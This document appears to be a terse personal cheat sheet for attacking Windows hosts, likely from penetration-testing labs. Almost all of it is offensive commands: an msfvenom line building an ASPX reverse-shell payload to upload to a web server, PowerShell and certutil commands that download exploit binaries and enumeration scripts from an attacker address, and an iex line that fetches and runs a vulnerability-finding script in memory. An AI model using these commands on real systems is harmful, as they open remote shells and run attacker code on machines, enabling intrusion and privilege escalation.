Windows

‘systeminfo’

-check build

-check hotfixes

-check architecture

Upload an .aspx web page to trigger a reverse shell

sudo msfvenom -p windows/shell_reverse_tcp -f aspx LHOST=10.10.14.10 LPORT=4444 -o reverse-shell.aspx

Downloading and executing files on old Windows OS:

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.30:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"

If already in PS then run this:

iex (New-Object Net.WebClient).DownloadString('http://10.10.14.10/sherlock.ps1'); Find-AllVulns

Downloading files alternative:

certutil -urlcache -split -f http://10.10.14.10/winPEAS.bat winPEAS.bat